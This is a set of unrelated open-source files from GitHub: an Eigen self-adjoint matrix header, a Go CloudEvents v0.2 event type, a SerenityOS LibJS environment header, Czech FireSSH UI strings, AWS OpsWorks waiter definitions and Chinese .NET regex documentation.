SelfAdjointView& rankUpdate(const MatrixBase<DerivedU>& u, const MatrixBase<DerivedV>& v, const Scalar& alpha = Scalar(1));
/** Perform a symmetric rank K update of the selfadjoint matrix \c *this:
* \f$ this = this + \alpha ( u u^* ) \f$ where \a u is a vector or matrix.
*
* \returns a reference to \c *this
*
* Note that to perform \f$ this = this + \alpha ( u^* u ) \f$ you can simply
* call this function with u.adjoint().
*
* \sa rankUpdate(const MatrixBase<DerivedU>&, const MatrixBase<DerivedV>&, Scalar)
*/
template<typename DerivedU>
SelfAdjointView& rankUpdate(const MatrixBase<DerivedU>& u, const Scalar& alpha = Scalar(1));
/////////// Cholesky module ///////////
const LLT<PlainObject, UpLo> llt() const;
const LDLT<PlainObject, UpLo> ldlt() const;
/////////// Eigenvalue module ///////////
/** Real part of #Scalar */
typedef typename NumTraits<Scalar>::Real RealScalar;
/** Return type of eigenvalues() */
typedef Matrix<RealScalar, internal::traits<MatrixType>::ColsAtCompileTime, 1> EigenvaluesReturnType;
EigenvaluesReturnType eigenvalues() const;
RealScalar operatorNorm() const;
#ifdef EIGEN2_SUPPORT
template<typename OtherDerived>
SelfAdjointView& operator=(const MatrixBase<OtherDerived>& other)
{
enum {
OtherPart = UpLo == Upper ? StrictlyLower : StrictlyUpper
};
m_matrix.const_cast_derived().template triangularView<UpLo>() = other;
m_matrix.const_cast_derived().template triangularView<OtherPart>() = other.adjoint();
return *this;
}
template<typename OtherMatrixType, unsigned int OtherMode>
SelfAdjointView& operator=(const TriangularView<OtherMatrixType, OtherMode>& other)
{
enum {
OtherPart = UpLo == Upper ? StrictlyLower : StrictlyUpper
};
m_matrix.const_cast_derived().template triangularView<UpLo>() = other.toDenseMatrix();
m_matrix.const_cast_derived().template triangularView<OtherPart>() = other.toDenseMatrix().adjoint();
return *this;
}
#endif
protected:
MatrixTypeNested m_matrix;
};
// template<typename OtherDerived, typename MatrixType, unsigned int UpLo>
// internal::selfadjoint_matrix_product_returntype<OtherDerived,SelfAdjointView<MatrixType,UpLo> >
// operator*(const MatrixBase<OtherDerived>& lhs, const SelfAdjointView<MatrixType,UpLo>& rhs)
// {
// return internal::matrix_selfadjoint_product_returntype<OtherDerived,SelfAdjointView<MatrixType,UpLo> >(lhs.derived(),rhs);
// }
// selfadjoint to dense matrix
namespace internal {
template<typename Derived1, typename Derived2, int UnrollCount, bool ClearOpposite>
struct triangular_assignment_selector<Derived1, Derived2, (SelfAdjoint|Upper), UnrollCount, ClearOpposite>
{
enum {
col = (UnrollCount-1) / Derived1::RowsAtCompileTime,
row = (UnrollCount-1) % Derived1::RowsAtCompileTime
};
static inline void run(Derived1 &dst, const Derived2 &src)
{
triangular_assignment_selector<Derived1, Derived2, (SelfAdjoint|Upper), UnrollCount-1, ClearOpposite>::run(dst, src);
if(row == col)
dst.coeffRef(row, col) = numext::real(src.coeff(row, col));
else if(row < col)
dst.coeffRef(col, row) = numext::conj(dst.coeffRef(row, col) = src.coeff(row, col));
}
};
template<typename Derived1, typename Derived2, bool ClearOpposite>
struct triangular_assignment_selector<Derived1, Derived2, SelfAdjoint|Upper, 0, ClearOpposite>
{
static inline void run(Derived1 &, const Derived2 &) {}
};
template<typename Derived1, typename Derived2, int UnrollCount, bool ClearOpposite>
struct triangular_assignment_selector<Derived1, Derived2, (SelfAdjoint|Lower), UnrollCount, ClearOpposite>
{
enum {
col = (UnrollCount-1) / Derived1::RowsAtCompileTime,
row = (UnrollCount-1) % Derived1::RowsAtCompileTime
};
static inline void run(Derived1 &dst, const Derived2 &src)
{
triangular_assignment_selector<Derived1, Derived2, (SelfAdjoint|Lower), UnrollCount-1, ClearOpposite>::run(dst, src);
if(row == col)
dst.coeffRef(row, col) = numext::real(src.coeff(row, col));
else if(row > col)
dst.coeffRef(col, row) = numext::conj(dst.coeffRef(row, col) = src.coeff(row, col));
}
};
template<typename Derived1, typename Derived2, bool ClearOpposite>
struct triangular_assignment_selector<Derived1, Derived2, SelfAdjoint|Lower, 0, ClearOpposite>
{
static inline void run(Derived1 &, const Derived2 &) {}
};
template<typename Derived1, typename Derived2, bool ClearOpposite>
struct triangular_assignment_selector<Derived1, Derived2, SelfAdjoint|Upper, Dynamic, ClearOpposite>
{
typedef typename Derived1::Index Index;
static inline void run(Derived1 &dst, const Derived2 &src)
{
for(Index j = 0; j < dst.cols(); ++j)
{
for(Index i = 0; i < j; ++i)
{
dst.copyCoeff(i, j, src);
dst.coeffRef(j,i) = numext::conj(dst.coeff(i,j));
}
dst.copyCoeff(j, j, src);
}
}
};
template<typename Derived1, typename Derived2, bool ClearOpposite>
struct triangular_assignment_selector<Derived1, Derived2, SelfAdjoint|Lower, Dynamic, ClearOpposite>
{
static inline void run(Derived1 &dst, const Derived2 &src)
{
typedef typename Derived1::Index Index;
for(Index i = 0; i < dst.rows(); ++i)
{
for(Index j = 0; j < i; ++j)
{
dst.copyCoeff(i, j, src);
dst.coeffRef(j,i) = numext::conj(dst.coeff(i,j));
}
dst.copyCoeff(i, i, src);
}
}
};
} // end namespace internal
/***************************************************************************
* Implementation of MatrixBase methods
***************************************************************************/
template<typename Derived>
template<unsigned int UpLo>
typename MatrixBase<Derived>::template ConstSelfAdjointViewReturnType<UpLo>::Type
MatrixBase<Derived>::selfadjointView() const
{
return derived();
}
template<typename Derived>
template<unsigned int UpLo>
typename MatrixBase<Derived>::template SelfAdjointViewReturnType<UpLo>::Type
MatrixBase<Derived>::selfadjointView()
{
return derived();
}
} // end namespace Eigen
#endif // EIGEN_SELFADJOINTMATRIX_H
|
{
"pile_set_name": "Github"
}
|
package v02
import (
"encoding/json"
"net/url"
"reflect"
"strings"
"time"
)
// Event implements the the CloudEvents specification version 0.2
// https://github.com/cloudevents/spec/blob/v0.2/spec.md
type Event struct {
// SpecVersion is a mandatory property
// https://github.com/cloudevents/spec/blob/v0.2/spec.md#cloudeventsversion
SpecVersion string `json:"specversion" cloudevents:"ce-specversion,required"`
// EventType is a mandatory property
// https://github.com/cloudevents/spec/blob/v0.2/spec.md#eventtype
Type string `json:"type" cloudevents:"ce-type,required"`
// Source is a mandatory property
// https://github.com/cloudevents/spec/blob/v0.2/spec.md#source
Source url.URL `json:"source" cloudevents:"ce-source,required"`
// ID is a mandatory property
// https://github.com/cloudevents/spec/blob/v0.2/spec.md#eventid
ID string `json:"id" cloudevents:"ce-id,required"`
// Time is an optional property
// https://github.com/cloudevents/spec/blob/v0.2/spec.md#eventtime
Time *time.Time `json:"time,omitempty" cloudevents:"ce-time"`
// SchemaURL is an optional property
// https://github.com/cloudevents/spec/blob/v0.2/spec.md#schemaurl
SchemaURL url.URL `json:"schemaurl,omitempty" cloudevents:"ce-schemaurl"`
// ContentType is an optional property
// https://github.com/cloudevents/spec/blob/v0.2/spec.md#contenttype
ContentType string `json:"contenttype,omitempty" cloudevents:"content-type"`
// Data is an optional property
// https://github.com/cloudevents/spec/blob/v0.2/spec.md#data-1
Data interface{} `json:"data,omitempty" cloudevents:",body"`
// extension an internal map for extension properties not defined in the spec
extension map[string]interface{}
}
// CloudEventVersion returns the CloudEvents specification version supported by this implementation
func (e Event) CloudEventVersion() (version string) {
return e.SpecVersion
}
// Get gets a CloudEvent property value
func (e Event) Get(key string) (interface{}, bool) {
t := reflect.TypeOf(e)
for i := 0; i < t.NumField(); i++ {
// Find a matching field by name, ignoring case
if strings.EqualFold(t.Field(i).Name, key) {
// return the value of that field
return reflect.ValueOf(e).Field(i).Interface(), true
}
}
v, ok := e.extension[strings.ToLower(key)]
return v, ok
}
// GetInt is a convenience method that wraps Get to provide a type checked return value. Ok will be false
// if the property does not exist or the value cannot be converted to an int32.
func (e Event) GetInt(property string) (value int32, ok bool) {
if val, ok := e.Get(property); ok {
intVal, ok := val.(int32)
return intVal, ok
}
return 0, false
}
// GetString is a convenience method that wraps Get to provide a type checked return value. Ok will be false
// if the property does not exist or the value cannot be converted to a string.
func (e Event) GetString(property string) (value string, ok bool) {
if val, ok := e.Get(property); ok {
stringVal, ok := val.(string)
return stringVal, ok
}
return "", false
}
// GetBinary is a convenience method that wraps Get to provide a type checked return value. Ok will be false
// if the property does not exist or the value cannot be converted to a binary array.
func (e Event) GetBinary(property string) (value []byte, ok bool) {
if val, ok := e.Get(property); ok {
binaryArrVal, ok := val.([]byte)
return binaryArrVal, ok
}
return []byte(nil), false
}
// GetMap is a convenience method that wraps Get to provide a type checked return value. Ok will be false
// if the property does not exist or the value cannot be converted to a map.
func (e Event) GetMap(property string) (value map[string]interface{}, ok bool) {
if val, ok := e.Get(property); ok {
mapVal, ok := val.(map[string]interface{})
return mapVal, ok
}
return map[string]interface{}(nil), false
}
// GetTime is a convenience method that wraps Get to provide a type checked return value. Ok will be false
// if the property does not exist or the value cannot be converted or parsed into a time.Time.
func (e Event) GetTime(property string) (value *time.Time, ok bool) {
raw, ok := e.Get(property)
if !ok {
return &time.Time{}, false
}
switch val := raw.(type) {
case *time.Time:
return val, ok
case time.Time:
return &val, ok
case string:
timestamp, err := time.Parse(time.RFC3339, val)
if err != nil {
return ×tamp, false
}
return ×tamp, true
default:
return &time.Time{}, false
}
}
// GetURL is a convenience method that wraps Get to provide a type checked return value. Ok will be false
// if the property does not exist or the value cannot be converted or parsed into a url.URL.
func (e Event) GetURL(property string) (value url.URL, ok bool) {
raw, ok := e.Get(property)
if !ok {
return url.URL{}, false
}
switch val := raw.(type) {
case url.URL:
return val, ok
case string:
urlVal, err := url.ParseRequestURI(val)
if err != nil {
return url.URL{}, false
}
return *urlVal, true
default:
return url.URL{}, false
}
}
// Set sets a CloudEvent property value. If setting a well known field the type of
// value must be assignable to the type of the well known field.
func (e *Event) Set(key string, value interface{}) {
t := reflect.TypeOf(*e)
for i := 0; i < t.NumField(); i++ {
// Find a matching field by name, ignoring case
if strings.EqualFold(t.Field(i).Name, key) {
// set that field to the passed in value
reflect.ValueOf(e).Elem().Field(i).Set(reflect.ValueOf(value))
return
}
}
// If no matching field, add value to the extension map, creating the map if nil
if e.extension == nil {
e.extension = map[string]interface{}{}
}
e.extension[strings.ToLower(key)] = value
}
// Properties returns the map of all supported properties in version 0.1.
// The map value says whether particular property is required.
func (e Event) Properties() map[string]bool {
t := reflect.TypeOf(e)
props := make(map[string]bool)
for i := 0; i < t.NumField(); i++ {
field := t.Field(i)
required := false
if strings.Contains(field.Tag.Get("cloudevents"), "required") {
required = true
}
props[strings.ToLower(field.Name)] = required
}
return props
}
type jsonEncodeOpts struct {
name string
omitempty bool
encoded bool
ignored bool
}
// MarshalJSON marshal an event into json
func (e Event) MarshalJSON() ([]byte, error) {
output := make(map[string]interface{})
t := reflect.TypeOf(e)
eventValue := reflect.ValueOf(e)
for i := 0; i < t.NumField(); i++ {
field := eventValue.Field(i)
if !field.CanInterface() { // if cannot access, i.e. extension
continue // then ignore it
}
jsonOpts := parseJSONTag(t.Field(i))
// if tag says field is ignored or omitted when empty
if jsonOpts.ignored ||
(jsonOpts.omitempty && isZero(field, t.Field(i).Type)) {
continue // then ignore it
}
val := field.Interface()
if url, ok := val.(url.URL); ok {
val = url.String()
}
output[jsonOpts.name] = val
}
for k, v := range e.extension {
output[k] = v
}
return json.Marshal(output)
}
// UnmarshalJSON override default json unmarshall
func (e *Event) UnmarshalJSON(b []byte) error {
// Unmarshal the raw data into an intermediate map
var intermediate map[string]interface{}
if err := json.Unmarshal(b, &intermediate); err != nil {
return err
}
t := reflect.TypeOf(*e)
target := reflect.New(t).Elem()
for i := 0; i < t.NumField(); i++ {
targetField := target.Field(i) // allows us to modify the target value
if !targetField.CanSet() { // if cannot be set, i.e. extension
continue // ignore it
}
structField := t.Field(i) // contains type info
jsonOpts := parseJSONTag(structField)
if jsonOpts.ignored {
continue
}
// if prop exists in map convert it and set to the target's field.
if mapVal, ok := intermediate[jsonOpts.name]; ok {
assignToFieldByType(&targetField, mapVal)
}
// remove processed field
delete(intermediate, jsonOpts.name)
}
*e = target.Interface().(Event)
if len(intermediate) == 0 {
return nil
}
// add any left over fields to the extensions map
e.extension = make(map[string]interface{}, len(intermediate))
for k, v := range intermediate {
e.extension[k] = v
}
return nil
}
func isZero(fieldValue reflect.Value, fieldType reflect.Type) bool {
return reflect.DeepEqual(fieldValue.Interface(), reflect.Zero(fieldType).Interface())
}
// assignToFieldByType assigns the value to the given field Value converting to the correct type if necessary
func assignToFieldByType(field *reflect.Value, value interface{}) error {
var val reflect.Value
switch field.Type().Kind() {
case reflect.TypeOf((*time.Time)(nil)).Kind():
timestamp, err := time.Parse(time.RFC3339, value.(string))
if err != nil {
return err
}
val = reflect.ValueOf(×tamp)
case reflect.TypeOf((*url.URL)(nil)).Elem().Kind():
url, err := url.ParseRequestURI(value.(string))
if err != nil {
return err
}
val = reflect.ValueOf(*url)
default:
val = reflect.ValueOf(value)
}
field.Set(val)
return nil
}
func parseJSONTag(field reflect.StructField) jsonEncodeOpts {
tag := field.Tag.Get("json")
opts := jsonEncodeOpts{}
if tag == "-" {
opts.ignored = true
return opts
}
options := strings.SplitN(tag, ",", 2)
opts.name = options[0]
if opts.name == "" {
opts.name = field.Name
}
if len(options) == 1 {
return opts
}
if strings.Contains(options[1], "omitempty") {
opts.omitempty = true
}
if strings.Contains(options[1], "string") {
opts.encoded = true
}
return opts
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2020, Andreas Kling <kling@serenityos.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#include <AK/FlyString.h>
#include <AK/HashMap.h>
#include <LibJS/Runtime/Cell.h>
#include <LibJS/Runtime/Value.h>
namespace JS {
struct Variable {
Value value;
DeclarationKind declaration_kind;
};
class LexicalEnvironment final : public Cell {
public:
enum class ThisBindingStatus {
Lexical,
Initialized,
Uninitialized,
};
enum class EnvironmentRecordType {
Declarative,
Function,
Global,
Object,
Module,
};
LexicalEnvironment();
LexicalEnvironment(EnvironmentRecordType);
LexicalEnvironment(HashMap<FlyString, Variable> variables, LexicalEnvironment* parent);
LexicalEnvironment(HashMap<FlyString, Variable> variables, LexicalEnvironment* parent, EnvironmentRecordType);
virtual ~LexicalEnvironment() override;
LexicalEnvironment* parent() const { return m_parent; }
Optional<Variable> get(const FlyString&) const;
void set(const FlyString&, Variable);
void clear();
const HashMap<FlyString, Variable>& variables() const { return m_variables; }
void set_home_object(Value object) { m_home_object = object; }
bool has_super_binding() const;
Value get_super_base();
bool has_this_binding() const;
ThisBindingStatus this_binding_status() const { return m_this_binding_status; }
Value get_this_binding() const;
void bind_this_value(Value this_value);
// Not a standard operation.
void replace_this_binding(Value this_value) { m_this_value = this_value; }
Value new_target() const { return m_new_target; };
void set_new_target(Value new_target) { m_new_target = new_target; }
Function* current_function() const { return m_current_function; }
void set_current_function(Function& function) { m_current_function = &function; }
EnvironmentRecordType type() const { return m_environment_record_type; }
private:
virtual const char* class_name() const override { return "LexicalEnvironment"; }
virtual void visit_children(Visitor&) override;
LexicalEnvironment* m_parent { nullptr };
HashMap<FlyString, Variable> m_variables;
EnvironmentRecordType m_environment_record_type = EnvironmentRecordType::Declarative;
ThisBindingStatus m_this_binding_status = ThisBindingStatus::Uninitialized;
Value m_home_object;
Value m_this_value;
Value m_new_target;
// Corresponds to [[FunctionObject]]
Function* m_current_function { nullptr };
};
}
|
{
"pile_set_name": "Github"
}
|
<!ENTITY title "Možnosti">
<!ENTITY general.label "Obecné">
<!ENTITY startup.label "Spouštět FireSSH:">
<!ENTITY windowopen.label "v novém okně">
<!ENTITY tabopen.label "v novém panelu">
<!ENTITY groupopen.label "ve skupině oken">
<!ENTITY sessions.label "Relace">
<!ENTITY rememberp.label "Pamatovat hesla">
<!ENTITY logwindow.label "Log">
<!ENTITY debug.label "Zobrazit informace pro debugování">
<!ENTITY interface.label "Rozhraní">
<!ENTITY appearance.label "Vzhled">
<!ENTITY font.label "Font">
<!ENTITY size.label "Velikost">
<!ENTITY fg.label "Text">
<!ENTITY bg.label "Pozadí">
<!ENTITY bell.label "Bell">
<!ENTITY audible.label "Audible Bell">
<!ENTITY connect.label "Připojení">
<!ENTITY proxy.label "Proxy">
<!ENTITY none.label "Žádné">
<!ENTITY direct.label "Přímé">
<!ENTITY host.label "Host:">
<!ENTITY port.label "Port:">
<!ENTITY recovery.label "Obnovení připojení">
<!ENTITY network.label "Časový limit sítě (v sekundách mezi 1 a 600)">
<!ENTITY network.tip "Určuje, jak dlouho čekat na odpověď od serveru">
<!ENTITY keepalivemode.label "Udržovat spojení při nečinnosti">
<!ENTITY timeout.label "Opětovné připojení při odpojení">
<!ENTITY retryd.label "Opakovat (v sekundách mezi 1 a 600)">
<!ENTITY retryd.tip "Sekund mezi pokusy o opětovné připojení">
<!ENTITY retrya.label "Opakovat pokusy">
<!ENTITY retrya.tip "Počet opakovaných pokusů">
<!ENTITY credits.label "Autoři">
<!ENTITY thanks.label "Děkujeme:">
<!ENTITY allothers.label "Všem ostatním, kdo nahlásili bug nebo pomohli">
<!ENTITY special.label "Speciální poděkovaní všem, kdo přispěli!">
|
{
"pile_set_name": "Github"
}
|
{
"version": 2,
"waiters": {
"AppExists": {
"delay": 1,
"operation": "DescribeApps",
"maxAttempts": 40,
"acceptors": [
{
"expected": 200,
"matcher": "status",
"state": "success"
},
{
"matcher": "status",
"expected": 400,
"state": "failure"
}
]
},
"DeploymentSuccessful": {
"delay": 15,
"operation": "DescribeDeployments",
"maxAttempts": 40,
"description": "Wait until a deployment has completed successfully",
"acceptors": [
{
"expected": "successful",
"matcher": "pathAll",
"state": "success",
"argument": "Deployments[].Status"
},
{
"expected": "failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Deployments[].Status"
}
]
},
"InstanceOnline": {
"delay": 15,
"operation": "DescribeInstances",
"maxAttempts": 40,
"description": "Wait until OpsWorks instance is online.",
"acceptors": [
{
"expected": "online",
"matcher": "pathAll",
"state": "success",
"argument": "Instances[].Status"
},
{
"expected": "setup_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "shutting_down",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "start_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "stopped",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "stopping",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "terminating",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "terminated",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
}
]
},
"InstanceStopped": {
"delay": 15,
"operation": "DescribeInstances",
"maxAttempts": 40,
"description": "Wait until OpsWorks instance is stopped.",
"acceptors": [
{
"expected": "stopped",
"matcher": "pathAll",
"state": "success",
"argument": "Instances[].Status"
},
{
"expected": "booting",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "online",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "pending",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "rebooting",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "requested",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "running_setup",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "setup_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "start_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
}
]
},
"InstanceTerminated": {
"delay": 15,
"operation": "DescribeInstances",
"maxAttempts": 40,
"description": "Wait until OpsWorks instance is terminated.",
"acceptors": [
{
"expected": "terminated",
"matcher": "pathAll",
"state": "success",
"argument": "Instances[].Status"
},
{
"expected": "ResourceNotFoundException",
"matcher": "error",
"state": "success"
},
{
"expected": "booting",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "online",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "pending",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "rebooting",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "requested",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "running_setup",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "setup_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "start_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
}
]
}
}
}
|
{
"pile_set_name": "Github"
}
|
{
"version": 2,
"waiters": {
"AppExists": {
"delay": 1,
"operation": "DescribeApps",
"maxAttempts": 40,
"acceptors": [
{
"expected": 200,
"matcher": "status",
"state": "success"
},
{
"matcher": "status",
"expected": 400,
"state": "failure"
}
]
},
"DeploymentSuccessful": {
"delay": 15,
"operation": "DescribeDeployments",
"maxAttempts": 40,
"description": "Wait until a deployment has completed successfully",
"acceptors": [
{
"expected": "successful",
"matcher": "pathAll",
"state": "success",
"argument": "Deployments[].Status"
},
{
"expected": "failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Deployments[].Status"
}
]
},
"InstanceOnline": {
"delay": 15,
"operation": "DescribeInstances",
"maxAttempts": 40,
"description": "Wait until OpsWorks instance is online.",
"acceptors": [
{
"expected": "online",
"matcher": "pathAll",
"state": "success",
"argument": "Instances[].Status"
},
{
"expected": "setup_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "shutting_down",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "start_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "stopped",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "stopping",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "terminating",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "terminated",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "stop_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
}
]
},
"InstanceRegistered": {
"delay": 15,
"operation": "DescribeInstances",
"maxAttempts": 40,
"description": "Wait until OpsWorks instance is registered.",
"acceptors": [
{
"expected": "registered",
"matcher": "pathAll",
"state": "success",
"argument": "Instances[].Status"
},
{
"expected": "setup_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "shutting_down",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "stopped",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "stopping",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "terminating",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "terminated",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "stop_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
}
]
},
"InstanceStopped": {
"delay": 15,
"operation": "DescribeInstances",
"maxAttempts": 40,
"description": "Wait until OpsWorks instance is stopped.",
"acceptors": [
{
"expected": "stopped",
"matcher": "pathAll",
"state": "success",
"argument": "Instances[].Status"
},
{
"expected": "booting",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "online",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "pending",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "rebooting",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "requested",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "running_setup",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "setup_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "start_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "stop_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
}
]
},
"InstanceTerminated": {
"delay": 15,
"operation": "DescribeInstances",
"maxAttempts": 40,
"description": "Wait until OpsWorks instance is terminated.",
"acceptors": [
{
"expected": "terminated",
"matcher": "pathAll",
"state": "success",
"argument": "Instances[].Status"
},
{
"expected": "ResourceNotFoundException",
"matcher": "error",
"state": "success"
},
{
"expected": "booting",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "online",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "pending",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "rebooting",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "requested",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "running_setup",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "setup_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
},
{
"expected": "start_failed",
"matcher": "pathAny",
"state": "failure",
"argument": "Instances[].Status"
}
]
}
}
}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<doc>
<assembly>
<name>System.Text.RegularExpressions</name>
</assembly>
<members>
<member name="T:System.Text.RegularExpressions.Capture">
<summary>表示單一子運算式成功擷取的結果。</summary>
</member>
<member name="P:System.Text.RegularExpressions.Capture.Index">
<summary>在原始字串中找到擷取的子字串的第一個字元之位置。</summary>
<returns>在原始字串中找到擷取的子字串之以零起始的開始位置。</returns>
</member>
<member name="P:System.Text.RegularExpressions.Capture.Length">
<summary>取得所擷取子字串的長度。</summary>
<returns>擷取的子字串的長度。</returns>
</member>
<member name="M:System.Text.RegularExpressions.Capture.ToString">
<summary>擷取已透過呼叫 <see cref="P:System.Text.RegularExpressions.Capture.Value" /> 屬性從輸入字串擷取的子字串。</summary>
<returns>比對所擷取的子字串。</returns>
</member>
<member name="P:System.Text.RegularExpressions.Capture.Value">
<summary>從輸入字串取得擷取的子字串。</summary>
<returns>比對所擷取的子字串。</returns>
</member>
<member name="T:System.Text.RegularExpressions.CaptureCollection">
<summary>表示單一擷取群組完成的擷取集合。</summary>
</member>
<member name="P:System.Text.RegularExpressions.CaptureCollection.Count">
<summary>取得群組所擷取的子字串數目。</summary>
<returns>
<see cref="T:System.Text.RegularExpressions.CaptureCollection" /> 中項目的數目。</returns>
</member>
<member name="M:System.Text.RegularExpressions.CaptureCollection.GetEnumerator">
<summary>提供逐一查看集合的列舉值。</summary>
<returns>物件,包含 <see cref="T:System.Text.RegularExpressions.CaptureCollection" /> 內的所有 <see cref="T:System.Text.RegularExpressions.Capture" /> 物件。</returns>
</member>
<member name="P:System.Text.RegularExpressions.CaptureCollection.Item(System.Int32)">
<summary>取得集合的個別成員。</summary>
<returns>在集合中位置 <paramref name="i" /> 上的擷取的子字串。</returns>
<param name="i">擷取集合內的索引。</param>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="i" /> 小於 0 或大於 <see cref="P:System.Text.RegularExpressions.CaptureCollection.Count" />。</exception>
</member>
<member name="M:System.Text.RegularExpressions.CaptureCollection.System#Collections#ICollection#CopyTo(System.Array,System.Int32)">
<summary>複製集合的所有項目至指定索引處開始的指定陣列。</summary>
<param name="array">複製這個集合的目的地一維陣列。</param>
<param name="arrayIndex">目的陣列中以零起始的索引 (複製開始之處)。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="array" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="arrayIndex" /> 不在 <paramref name="array" /> 範圍內。-或-<paramref name="arrayIndex" /> 加上 <see cref="P:System.Text.RegularExpressions.CaptureCollection.Count" /> 落在 <paramref name="array" /> 範圍以外。</exception>
</member>
<member name="P:System.Text.RegularExpressions.CaptureCollection.System#Collections#ICollection#IsSynchronized">
<summary>取得值,指示對集合的存取是否為同步的 (安全執行緒)。</summary>
<returns>所有情況下都是 false。</returns>
</member>
